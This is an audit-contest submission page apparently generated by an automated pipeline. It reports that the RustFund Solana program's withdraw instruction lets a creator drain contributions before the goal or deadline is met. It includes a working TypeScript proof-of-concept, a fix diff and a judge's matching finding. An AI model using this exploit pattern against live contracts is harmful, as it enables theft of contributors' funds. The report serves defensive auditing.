Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Creator can drain contributions before goal/deadline (rugpull)

Description

rustfund::lib::withdraw · Confidence: 75 (capped from 92 by criteria-divergence) · Severity: High (Stage-4 calibrated Critical → CodeHawks platform tier mapping = High)

Validation summary

Stage Verdict Note
2 — Audit candidate at Critical, conf 95 First Principles, Invariant, Economic, Execution Trace converged
3 — PoC ADVANCE Tier 2 (TS test in project's harness)
4 — Adversarial Pass D calibrated Critical (CONFIRMED) strongest surviving challenge: Pass-A EG-1 (auth control); rejected — bug is missing business-logic precondition, not auth gap
5 — Platform DOWNGRADE(High) score 90/100 Critical maps to CodeHawks "High" (no separate Critical tier on CodeHawks)
6 — Program in-scope, impact maps to direct fund loss README §"Scope" lists src/lib.rs; in-scope token = SOL; no exclusion match
7 — Duplication no hard duplicates 0 issues, 0 PRs, 0 fix commits; lib.rs byte-identical to initial commit

Root cause

withdraw (programs/rustfund/src/lib.rs:90-105) reads fund.amount_raised and transfers the corresponding lamports from the Fund PDA to the creator with no check that the campaign's goal has been met or that any deadline has been reached. The README explicitly describes withdrawals as conditional on success ("Creators can withdraw funds once their campaign succeeds"), but the contract enforces neither condition.

Location

  • rustfund::lib::withdrawprograms/rustfund/src/lib.rs:90-105

Exploit path

  1. Creator calls fund_create("Camp", "...", goal=10_000_000_000) — Fund PDA initialized with deadline=0, dealine_set=false, amount_raised=0.

  2. Contributor (any signer) calls contribute(500_000_000) — Fund PDA receives 0.5 SOL via system_program::transfer; fund.amount_raised += 500_000_000.

  3. Creator immediately calls withdraw — function reads amount = fund.amount_raised = 500_000_000; debits Fund lamports by amount; credits creator by amount; returns Ok(()) without verifying goal or deadline.

  4. Creator's wallet now contains the contributor's 0.5 SOL; the Fund PDA holds only its rent-exempt balance.

Proof of Concept

  • tier: 2 (custom TS integration test)

  • file: argus/20260504T004143Z/3-poc/F-01/poc.ts

  • reproduction: argus/20260504T004143Z/3-poc/F-01/repro.md

  • proven impact: With fund.goal = 10 SOL and deadline = 0, an external contributor's 0.5 SOL is fully withdrawn by the creator on a single withdraw call. The Fund PDA's lamports drop from ~0.5 SOL + rent to ~rent and the creator's balance increases by ~0.5 SOL minus the transaction fee.

F-01 reproduction

Setup

# Toolchain (per project README)
rustup install stable
sh -c "$(curl -sSfL https://release.solana.com/stable/install)"
cargo install --git https://github.com/coral-xyz/anchor anchor-cli --locked
# Project deps
cd 2025-03-rustfund
yarn install

Steps

  1. Copy argus/20260504T004143Z/3-poc/F-01/poc.ts to tests/poc-F-01.ts.

  2. Run anchor test.

  3. Observe the test PASSES — proving the bug fires.

Expected output (buggy code)

F-01 creator withdraws before goal/deadline (rugpull)
✔ creator withdraws 0.5 SOL despite goal=10 SOL and NO deadline ever set

The assertions

  • fundBefore.amountRaised.lt(fundBefore.goal) === true

  • fundBefore.deadline.toNumber() === 0

  • creatorBalanceAfter - creatorBalanceBefore > 0.49 * LAMPORTS_PER_SOL

all hold simultaneously, demonstrating that withdraw succeeded with goal-not-met and deadline-never-set.

Expected output (with suggested fix applied)

After applying the fix at programs/rustfund/src/lib.rs:90-105:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &ctx.accounts.fund;
require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);
require!(fund.deadline != 0, ErrorCode::DeadlineNotSet);
let now: u64 = Clock::get()?.unix_timestamp.try_into().map_err(|_| ErrorCode::CalculationOverflow)?;
require!(now >= fund.deadline, ErrorCode::DeadlineNotReached);
let amount = fund.amount_raised;
// ... existing lamport mutation ...
ctx.accounts.fund.amount_raised = 0;
Ok(())
}

(and adding GoalNotReached and DeadlineNotSet to ErrorCode):

The PoC test FAILS with an Anchor error matching GoalNotReached (or DeadlineNotSet, since the test never sets a deadline), confirming the fix prevents the rugpull.

TS poc

// PoC for F-01 — Creator can drain contributions before goal/deadline.
//
// Drop this file in `tests/poc-F-01.ts` and run `anchor test`.
// Expected behavior: the test PASSES (i.e. the bug fires) — the creator
// successfully withdraws all of the contributor's SOL even though
// `fund.amount_raised < fund.goal` and no deadline has been reached.
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey, Keypair, LAMPORTS_PER_SOL, SystemProgram } from "@solana/web3.js";
import { expect } from "chai";
describe("F-01 creator withdraws before goal/deadline (rugpull)", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet;
const contributor = Keypair.generate();
const fundName = "F-01-rugpull-fund";
const description = "F-01 demonstrates creator rugpull";
const goal = new anchor.BN(10 * LAMPORTS_PER_SOL); // 10 SOL goal — will NOT be met
const contribution = new anchor.BN(0.5 * LAMPORTS_PER_SOL); // attacker raises only 0.5 SOL
let fundPDA: PublicKey;
let contributionPDA: PublicKey;
before(async () => {
// airdrop to contributor
const sig = await provider.connection.requestAirdrop(contributor.publicKey, 2 * LAMPORTS_PER_SOL);
await provider.connection.confirmTransaction(sig);
[fundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
[contributionPDA] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
});
it("creator withdraws 0.5 SOL despite goal=10 SOL and NO deadline ever set", async () => {
// 1. Creator opens campaign (goal=10 SOL). Note: deadline is NEVER set in this test.
await program.methods
.fundCreate(fundName, description, goal)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: SystemProgram.programId,
})
.rpc();
// 2. Contributor sends 0.5 SOL.
await program.methods
.contribute(contribution)
.accounts({
fund: fundPDA,
contributor: contributor.publicKey,
contribution: contributionPDA,
systemProgram: SystemProgram.programId,
})
.signers([contributor])
.rpc();
const fundBefore = await program.account.fund.fetch(fundPDA);
expect(fundBefore.amountRaised.toNumber()).to.equal(0.5 * LAMPORTS_PER_SOL);
expect(fundBefore.amountRaised.lt(fundBefore.goal)).to.equal(true); // goal NOT met
expect(fundBefore.deadline.toNumber()).to.equal(0); // deadline NOT set
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
// 3. Creator immediately drains the campaign — this should fail in a correct
// implementation (goal not met, deadline not even set) but actually succeeds.
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
const fundLamportsAfter = await provider.connection.getBalance(fundPDA);
// Bug demonstrated: creator's balance went UP by ~0.5 SOL (minus tx fee)
// even though the campaign neither met its goal nor reached a deadline.
expect(creatorBalanceAfter - creatorBalanceBefore).to.be.greaterThan(0.49 * LAMPORTS_PER_SOL);
// Fund PDA holds only the rent-exempt balance (no contributed SOL left).
expect(fundLamportsAfter).to.be.lessThan(0.01 * LAMPORTS_PER_SOL);
});
});

Impact

Direct loss of all contributor SOL on every campaign. Per CodeHawks "High": "Direct impact on the funds or the main functionality of the protocol. The attack path is straightforward." The bug applies universally — every contributor on every campaign is exposed; no precondition beyond the creator choosing to call withdraw.

Risk mitigation

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
+ let fund = &ctx.accounts.fund;
+ require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);
+ require!(fund.dealine_set, ErrorCode::DeadlineNotSet);
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().map_err(|_| ErrorCode::CalculationOverflow)?;
+ require!(now >= fund.deadline, ErrorCode::DeadlineNotReached);
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
+ ctx.accounts.fund.amount_raised = 0;
Ok(())
}

Add error variants GoalNotReached, DeadlineNotSet, DeadlineNotReached to ErrorCode (and chain with the F-03 / F-04 fixes that flip and rely on dealine_set).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!